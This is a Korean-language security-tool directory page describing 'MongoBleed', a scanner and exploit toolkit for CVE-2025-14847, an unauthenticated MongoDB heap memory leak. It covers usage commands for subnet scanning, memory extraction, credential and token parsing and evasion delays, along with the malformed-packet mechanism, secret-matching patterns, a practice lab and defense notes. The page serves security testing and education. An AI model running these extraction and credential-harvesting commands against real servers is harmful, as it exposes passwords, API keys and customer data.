Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
MongoBleed — CVE-2025-14847 (MongoBleed) scanner and exploit tool. Unauthenticated MongoDB heap memory leak via zlib decompression. Detection, memory extraction, credential parsing, CIDR/batch scanning, Nuclei templates, and CTF lab included | Kitploit
도구/GitHubGitHub/sho-luv/mongobleed
Vulnerability ScannersMemory ForensicsNetwork MappingExploitationCTFPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHubsho-luv/mongobleed

MongoBleed

CVE-2025-14847 (MongoBleed) scanner and exploit tool. Unauthenticated MongoDB heap memory leak via zlib decompression. Detection, memory extraction, credential parsing, CIDR/batch scanning, Nuclei templates, and CTF lab included

26개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

MongoBleed

CVE-2025-14847 스캐너 및 익스플로잇 툴킷

MongoBleed를 위한 보안 연구 툴킷입니다. MongoDB의 zlib 압축 해제에서 발견된 심각한 인증되지 않은 메모리 누수로, 공격자가 인증 없이 서버 힙 메모리에서 민감한 데이터를 추출할 수 있습니다.

root@kitploit:~
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬  ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│  ├┤ ├┤  ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit

빠른 시작

root@kitploit:~
# 외부 종속성 없음 -- Python 3 표준 라이브러리만 사용
cd cli

# 대상이 취약한지 탐지 (기본 동작)
python mongobleed.py -t localhost:27017

# 전체 서브넷 스캔
python mongobleed.py -t 192.168.1.0/24

# 메모리 추출 및 크리덴셜 파싱
python mongobleed.py -t target:27017 -e --credentials

# 안전 모드 -- 탐지만 수행, 익스플로잇하지 않음
python mongobleed.py -t target:27017 -s

저장소 구조

root@kitploit:~
MongoBleed/
├── cli/                          # 명령줄 스캐너 및 익스플로잇 도구
│   ├── mongobleed.py             # 주요 CLI 도구
│   ├── requirements.txt          # Python 종속성 (표준 라이브러리만)
│   └── README.md                 # CLI 문서
├── lab/                          # Docker 기반 CTF 실습 환경
│   ├── docker-compose.yml        # 멀티 컨테이너 실습 구성
│   ├── vulnerable/               # 취약한 MongoDB 설정
│   ├── patched/                  # 패치된 MongoDB (비교용)
│   ├── no-zlib/                  # 익스플로잇 불가 (zlib 비활성화)
│   ├── monitoring/               # 공격 시각화 대시보드
│   ├── warmup-heap.sh            # 힙에 민감한 데이터 채우기
│   └── README.md                 # 실습 환경 설정 안내
├── nuclei/                       # Nuclei 스캐닝 템플릿
│   ├── CVE-2025-14847.yaml       # 능동적 익스플로잇 템플릿
│   ├── CVE-2025-14847-safe.yaml  # 안전한 탐지 템플릿
│   └── README.md                 # Nuclei 템플릿 문서
├── docs/                         # 교육 문서
│   ├── README.md                 # 학습 경로 인덱스
│   ├── 01-fundamentals.md        # MongoDB 및 메모리 기초
│   ├── 02-vulnerability.md       # CVE-2025-14847 심층 분석
│   ├── 03-exploitation.md        # 실습 익스플로잇
│   ├── 04-detection.md           # 헌팅 및 탐지
│   └── 05-defense.md             # 완화 전략
└── README.md                     # 이 파일

기능

CLI 도구

  • 버전 핑거프린팅 및 압축 탐지 (zlib/snappy/zstd)
  • 안전 모드 옵션을 포함한 취약점 탐지
  • 오프셋 스캐닝을 통한 메모리 추출 (구성 가능한 범위)
  • 크리덴셜 패턴 탐지 (16가지 패턴: 비밀번호, API 키, JWT, AWS 키, MongoDB URI 등)
  • CIDR 표기법 지원 (192.168.1.0/24, 10.0.0.0/16:27018)
  • 대상 파일에서 다중 스레드 배치 스캔
  • 연속 추출 모드
  • Hexdump 및 출력 가능 문자열 추출
  • JSON 출력 및 파일 내보내기
  • 회피 제어 (지연, 지터)
  • 컬러 터미널 출력

실습 환경

  • 여러 취약한 MongoDB 버전 (4.4.29, 6.0.26, 8.0.16)
  • 비교용 패치 버전 (8.0.17)
  • 완화 방법을 보여주는 No-zlib 버전
  • 현실적인 민감 데이터 사전 시드
  • 학습을 위한 CTF 스타일 플래그
  • 공격 시각화 대시보드
  • 신뢰할 수 있는 익스플로잇 데모를 위한 힙 웜업 스크립트

Nuclei 템플릿

  • 안전한 탐지 템플릿 (버전 + 압축 확인만)
  • 능동적 익스플로잇 템플릿 (버전 + zlib 확인)

사용법

탐지

root@kitploit:~
# 단일 대상 확인
python mongobleed.py -t localhost:27017

# 상세 출력으로 확인
python mongobleed.py -t localhost:27017 -v

# 안전 모드 -- 탐지만, 익스플로잇 페이로드 전송 안 함
python mongobleed.py -t localhost:27017 -s

# 버전 정보 표시
python mongobleed.py -t localhost:27017 --version

네트워크 스캔

root@kitploit:~
# /24 서브넷 스캔
python mongobleed.py -t 192.168.1.0/24

# 사용자 정의 포트가 있는 CIDR
python mongobleed.py -t 10.0.0.0/24:27018

# 대상 파일에서 스캔 (파일 내 CIDR 범위 확장)
python mongobleed.py -T targets.txt -j 20 -o results.json

# 대상 파일에는 IP, host:port, CIDR 범위 포함 가능
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

메모리 추출

root@kitploit:~
# 메모리 추출 (기본 오프셋 범위 20-8192)
python mongobleed.py -t target:27017 -e

# 사용자 정의 오프셋 범위
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# 연속 추출 (Ctrl+C로 중단)
python mongobleed.py -t target:27017 --continuous

# 버전 확인이 불확실해도 강제 추출
python mongobleed.py -t target:27017 -e --force

분석

root@kitploit:~
# 유출 메모리에서 크리덴셜 및 시크릿 파싱
python mongobleed.py -t target:27017 -e --credentials

# 토큰만 파싱
python mongobleed.py -t target:27017 -e --tokens

# 출력 가능한 문자열 추출
python mongobleed.py -t target:27017 -e --strings

# Hexdump 출력
python mongobleed.py -t target:27017 -e --hexdump

회피

root@kitploit:~
# 요청 간 지연 추가 (밀리초)
python mongobleed.py -t target:27017 -e --delay 500

# 지연에 무작위 지터 추가
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

Nuclei 템플릿

root@kitploit:~
# 안전한 탐지만
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# 능동적 탐지
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# 여러 대상 스캔
nuclei -t nuclei/ -l targets.txt

실습 환경

root@kitploit:~
# 모든 컨테이너 시작
cd lab && docker compose up -d

# 서비스:
# - localhost:27017  MongoDB 4.4.29 (취약 + zlib)
# - localhost:27018  MongoDB 6.0.26 (취약 + zlib)
# - localhost:27019  MongoDB 8.0.16 (취약 + zlib)
# - localhost:27020  MongoDB 8.0.17 (패치됨)
# - localhost:27021  MongoDB 8.0.16 (No zlib - 익스플로잇 불가)
# - localhost:8080   모니터링 대시보드

# 익스플로잇 전 민감 데이터로 힙 웜업
./warmup-heap.sh 27017 50

# 실습에 익스플로잇 실행
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

CLI 옵션

root@kitploit:~
Target:
  -t, --target TARGET     대상 호스트:포트 또는 CIDR 범위 (예: 192.168.1.0/24)
  -T, --targets FILE      대상 목록 파일 (줄당 CIDR 지원)

Detection:
  --detect                대상이 취약한지 탐지 (기본 동작)
  --version               MongoDB 버전 표시
  -s, --safe              안전 모드 - 탐지만, 익스플로잇 없음

Exploitation:
  -e, --extract           오프셋 스캐닝을 통한 메모리 추출
  --min-offset N          최소 오프셋 (기본값: 20)
  --max-offset N          최대 오프셋 (기본값: 8192)
  --continuous            연속 추출 모드
  --force                 버전 확인 실패 시에도 강제 추출

Analysis:
  --credentials           크리덴셜 파싱
  --tokens                토큰 파싱
  --strings               출력 가능한 문자열 추출
  --hexdump               Hexdump 표시

Evasion:
  --delay MS              요청 간 지연 (밀리초)
  --jitter                무작위 지연 지터

Output:
  -o, --output FILE       출력 파일 (JSON)
  -v, --verbose           상세 출력
  -q, --quiet             조용한 모드
  --json                  JSON 출력
  --no-color              색상 비활성화

Connection:
  --timeout SECS          연결 타임아웃 (기본값: 10)
  -j, --threads N         배치 스캔 스레드 수 (기본값: 10)

자격 증명 탐지 패턴

도구는 추출된 메모리에서 다음 패턴을 검색합니다:

CVE-2025-14847 세부 정보

영향 받는 버전

작동 방식

MongoBleed는 MongoDB의 zlib 메시지 압축 해제 (message_compressor_zlib.cpp)의 결함을 악용합니다. 취약한 코드는 실제 압축 해제된 길이 대신 할당된 버퍼 크기를 반환하여, 공격자가 초기화되지 않은 힙 메모리를 읽을 수 있게 합니다.

root@kitploit:~
1. CONNECT (no authentication required)
              ↓
2. SEND MALFORMED OP_COMPRESSED
   ┌──────────────────────────────────┐
   │ originalOpcode: OP_MSG (2013)    │
   │ uncompressedSize: INFLATED       │ ← Bug trigger
   │ compressorId: zlib (2)           │
   │ compressedMessage: [small data]  │
   └──────────────────────────────────┘
              ↓
3. SERVER ALLOCATES OVERSIZED BUFFER
   [ small real data | uninitialized heap memory ]
              ↓
4. BSON PARSER READS INTO HEAP GARBAGE
   Inflated document length causes parser to read
   beyond actual data into heap memory
              ↓
5. ERROR RESPONSE LEAKS MEMORY
   "invalid BSON field name 'password=secret123...'"

유출 가능 정보

  • 데이터베이스 크리덴셜 및 비밀번호
  • API 키 및 토큰
  • 세션 토큰 및 JWT
  • MongoDB 연결 문자열
  • 메모리 내 애플리케이션 시크릿
  • 최근 쿼리의 고객 PII
  • 내부 구성 데이터

크레딧

  • Joe Desimone (Elastic Security) - 최초 PoC 및 취약점 명명
  • MongoDB 보안 팀 - 패치 개발
  • Wiz Research - 야생 악용 분석
  • Eric Capuano - 탐지 시그니처 및 Velociraptor 아티팩트

참고 자료

  • MongoDB 보안 권고
  • Wiz 블로그 - MongoBleed 분석
  • MongoBle드 헌팅 - Eric Capuano
  • 원본 PoC - joe-desimone/mongobleed
  • NVD - CVE-2025-14847

면책 조항

이 툴킷은 승인된 보안 테스트, 연구 및 교육 목적으로만 제공됩니다. 소유권이 있거나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오. 허가되지 않은 컴퓨터 시스템 접근은 불법입니다.

라이선스

MIT 라이선스

도구 다운로드
유형예시 패턴
비밀번호password: value, passwd=value
비밀secret: value
API 키api_key: sk_live_...
토큰token: ... (16+ 문자)
Bearer 토큰Bearer eyJ...
JWTeyJ... (Base64 JWT)
MongoDB URImongodb://user:pass@host
PostgreSQL URIpostgresql://...
Redis URIredis://...
Stripe 키sk_live_...
OpenAI 키sk-... (48+ 문자)
AWS 액세스 키AKIA...
GitHub 토큰ghp_...
Slack 토큰xoxb-..., xoxp-...
CTF 플래그FLAG{...}
항목값
CVECVE-2025-14847
이름MongoBleed
CWECWE-130 (Improper Handling of Length Parameter)
CVSS8.7 (높음)
유형인증되지 않은 메모리 누수
공개일December 19, 2025
야생 악용December 29, 2025
브랜치취약패치됨
8.2.x8.2.0 - 8.2.28.2.3
8.0.x8.0.0 - 8.0.168.0.17
7.0.x7.0.0 - 7.0.277.0.28
6.0.x6.0.0 - 6.0.266.0.27
5.0.x5.0.0 - 5.0.315.0.32
4.4.x4.4.0 - 4.4.294.4.30
4.2.x모든 버전EOL - 패치 없음
4.0.x모든 버전EOL - 패치 없음
3.6.x모든 버전EOL - 패치 없음